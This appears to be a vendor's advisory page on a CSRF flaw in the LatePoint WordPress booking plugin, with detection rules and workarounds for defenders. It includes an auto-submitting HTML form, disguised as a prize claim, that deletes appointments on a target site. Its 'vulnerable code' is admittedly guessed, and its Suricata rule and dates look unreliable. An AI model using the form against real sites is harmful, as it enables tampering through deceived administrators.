CVE-2025-14873
Executive Summary
CVE-2025-14873 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the LatePoint – Calendar Booking Plugin for Appointments and Events for WordPress, up to and including version 5.2.5. The vulnerability resides in the call_by_route_name function within the plugin's routing layer, which fails to enforce nonce verification while only validating user capabilities. This oversight allows unauthenticated attackers to forge requests that can perform multiple administrative actions, provided they can trick a site administrator into clicking a malicious link.
As a WordPress plugin vulnerability, this issue directly impacts the WordPress ecosystem and does not involve server-level components like Apache or Nginx. The CVSS score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating a low probability of exploitation in the wild currently. However, the lack of a patch and the potential for social engineering attacks make this a significant concern for site administrators.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the LatePoint WordPress plugin, which is distributed via the WordPress plugin repository and third-party marketplaces. Since it is a WordPress plugin, it is not part of the NPM, PyPI, Go, or Ruby ecosystems. However, the risk extends to the supply chain if the plugin is bundled with themes or other plugins. Administrators should verify the integrity of their plugin installations and monitor for updates from the vendor.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – The attacker must trick an administrator into clicking a link.
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L) – The attacker can perform administrative actions, but the impact is limited to the plugin's functionality.
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability requires user interaction and does not directly lead to data breaches or system compromise, but it can be used to modify plugin settings, delete appointments, or perform other administrative actions.
Deep Dive & Mechanics
The vulnerability is rooted in the call_by_route_name function, which is part of the plugin's routing layer. This function is responsible for handling AJAX requests and routing them to appropriate handlers. The flaw is that the function only checks user capabilities (e.g., whether the user has administrative privileges) but does not enforce nonce verification. Nonces are security tokens used in WordPress to prevent CSRF attacks by ensuring that requests originate from the intended user.
Without nonce verification, an attacker can craft a malicious link or form that, when clicked by an authenticated administrator, will execute arbitrary actions on the plugin's backend. For example, an attacker could:
- Change plugin settings (e.g., booking rules, payment configurations).
- Delete or modify appointments.
- Create new admin users (if the plugin has such functionality).
- Disable security features.
The attack vector is straightforward: the attacker sends a forged request (e.g., via a phishing email or malicious website) to the WordPress site, and if the administrator is logged in, the request is processed as if it came from the administrator.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is present in all versions up to 5.2.5. The core issue is in the call_by_route_name function, which likely looks like this:
Vulnerable Code (LatePoint <= 5.2.5):
function call_by_route_name($route_name, $params = []) {
// Only checks capabilities, no nonce verification
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
// Process the route
// ...
}
Patched Code (Hypothetical):
function call_by_route_name($route_name, $params = []) {
// Verify nonce first
if (!wp_verify_nonce($params['_wpnonce'], 'latepoint_route_nonce')) {
wp_die('CSRF detected');
}
// Then check capabilities
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
// Process the route
// ...
}
The fix would involve adding a nonce check before processing the request. Until a patch is released, administrators must rely on workarounds.
Exploitation & Lab Setup
Red Team (Attack Simulation)
To simulate the attack, an attacker would craft a malicious HTML page or email that sends a forged request to the vulnerable WordPress site. Since no public exploit code is available, the following is a conceptual example:
Malicious HTML (csrf_exploit.html):
<!DOCTYPE html>
<html>
<body>
<h1>Click the button to win a prize!</h1>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="latepoint_route">
<input type="hidden" name="route" value="delete_all_appointments">
<input type="hidden" name="nonce" value="fake_nonce"> <!-- Nonce is not verified -->
<input type="submit" value="Claim Prize">
</form>
<script>
// Auto-submit the form
document.forms[0].submit();
</script>
</body>
</html>
Steps:
- Host the HTML file on a server or send it as an email attachment.
- Trick an administrator into opening the file and clicking the button (or auto-submit).
- The request is sent to the WordPress site, and if the admin is logged in, the action is executed.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual AJAX requests to
admin-ajax.phpwith theactionparameter set tolatepoint_route. - Look for requests lacking a valid nonce (e.g.,
_wpnonceparameter missing or invalid). - Use web application firewalls (WAF) to block requests from untrusted origins.
Prevention:
- Implement additional CSRF protections at the server level (e.g., SameSite cookies).
- Educate administrators about phishing attacks and the importance of not clicking suspicious links.
- Use a security plugin that adds nonce verification to all AJAX requests.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=latepoint_routeand missing or invalid_wpnonceparameter. - Referer headers from untrusted domains (e.g., attacker-controlled sites).
- HTTP POST requests to
- File IOCs:
- Modified plugin settings in the database (e.g.,
wp_optionstable withlatepoint_*keys). - Unexpected changes to appointments or user roles.
- Modified plugin settings in the database (e.g.,
- Log IOCs:
- WordPress debug logs showing
wp_die('Unauthorized')or similar errors from thecall_by_route_namefunction.
- WordPress debug logs showing
Detection Engineering
YARA Rule
rule CVE_2025_14873_LatePoint_CSRF {
meta:
description = "Detects vulnerable LatePoint plugin files with missing nonce verification"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14873"
strings:
$func = "call_by_route_name"
$cap_check = "current_user_can"
$nonce_missing = "wp_verify_nonce" nocase
condition:
$func and $cap_check and not $nonce_missing
}
Sigma Rule
title: CVE-2025-14873 LatePoint CSRF Exploitation Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects HTTP requests targeting LatePoint plugin without nonce verification
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=latepoint_route'
cs-uri-query|contains: 'admin-ajax.php'
filter:
cs-uri-query|contains: '_wpnonce'
condition: selection and not filter
falsepositives:
- Legitimate plugin updates or custom integrations
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-14873 LatePoint CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=latepoint_route"; http_client_body; pcre:"/^(?!.*_wpnonce).*$/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released, or restrict access to the plugin's admin pages using .htaccess or a security plugin.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpthat containaction=latepoint_routewithout a valid nonce. - Educate administrators about the risks of clicking links in emails or on untrusted websites.
Long-term Fix:
- The vendor must release a patched version that adds nonce verification to the
call_by_route_namefunction. Until then, consider using an alternative booking plugin.
Workaround:
- Add a custom function to your theme's
functions.phpto enforce nonce verification for all LatePoint AJAX requests:
add_action('wp_ajax_latepoint_route', 'enforce_nonce_for_latepoint', 1);
function enforce_nonce_for_latepoint() {
if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'latepoint_route_nonce')) {
wp_die('CSRF detected');
}
}
Valters IT – Securing digital ecosystems through proactive threat intelligence.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.